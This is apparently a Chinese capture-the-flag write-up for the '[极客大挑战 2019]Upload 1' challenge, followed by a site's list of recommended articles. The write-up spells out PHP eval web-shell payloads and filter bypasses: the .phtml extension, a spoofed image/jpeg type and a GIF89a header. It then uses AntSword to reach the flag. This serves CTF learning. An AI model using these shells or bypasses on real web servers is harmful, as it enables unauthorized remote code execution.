[极客大挑战 2019]Upload 1

题目环境:

根据题目和环境可知此题目是一道文件上传漏洞

编写一句话木马脚本
<?php @eval($_POST['shell']);?>

将脚本文件更改为jpg图片文件

我这里是flag.jpg


上传文件并burpsuite抓包

Repeater重放

报错一句话木马里面有<?字符

换一种一句话木马

继续编写木马脚本
<script language="php">@eval($_POST['shell']);</script>

保存为flag.phtml文件

绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht

因为前几个都被过滤了,所以选择使用phtml后缀

上传抓包

修改为image/jpeg图片格式

Repeater重放Send

不是图片

通过GIF89a进行绕过
GIF89a<script language="php">@eval($_POST['shell']);</script>

使文件为动态GIF文件绕过检测

访问upload/flag.phtml文件

上传成功

复制URL链接

使用中国蚁剑连接

在/根目录下找到flag文件

访问flag文件


得到flag:
flag{5359382e-ae88-42a8-8116-8c85a02fb21f}

相关推荐
吃奥特曼的饼干几秒前
React useEffect 清理函数:别让依赖数组坑了你!
前端·react.js
寻月隐君2 分钟前
Rust Web 开发实战:使用 SQLx 连接 PostgreSQL 数据库
后端·rust·github
烛阴8 分钟前
TypeScript 函数重载入门:让你的函数签名更精确
前端·javascript·typescript
RainbowSea20 分钟前
伙伴匹配系统(移动端 H5 网站(APP 风格)基于Spring Boot 后端 + Vue3 - 06
java·spring boot·后端
Keya28 分钟前
MacOS端口被占用的解决方法
前端·后端·设计模式
用户90967830694330 分钟前
Python 判断一个字符串中是否含有数字
后端
jakeswang32 分钟前
应用缓存不止是Redis!——亿级流量系统架构设计系列
redis·分布式·后端·缓存
RainbowSea34 分钟前
伙伴匹配系统(移动端 H5 网站(APP 风格)基于Spring Boot 后端 + Vue3 - 05
vue.js·spring boot·后端
moyu8437 分钟前
解密Vue组件中的`proxy`:此Proxy非彼Proxy
前端
用户849137175471640 分钟前
为什么大模型都离不开SSE?带你搞懂第1章〈SSE技术基础与原理〉
前端·网络协议·llm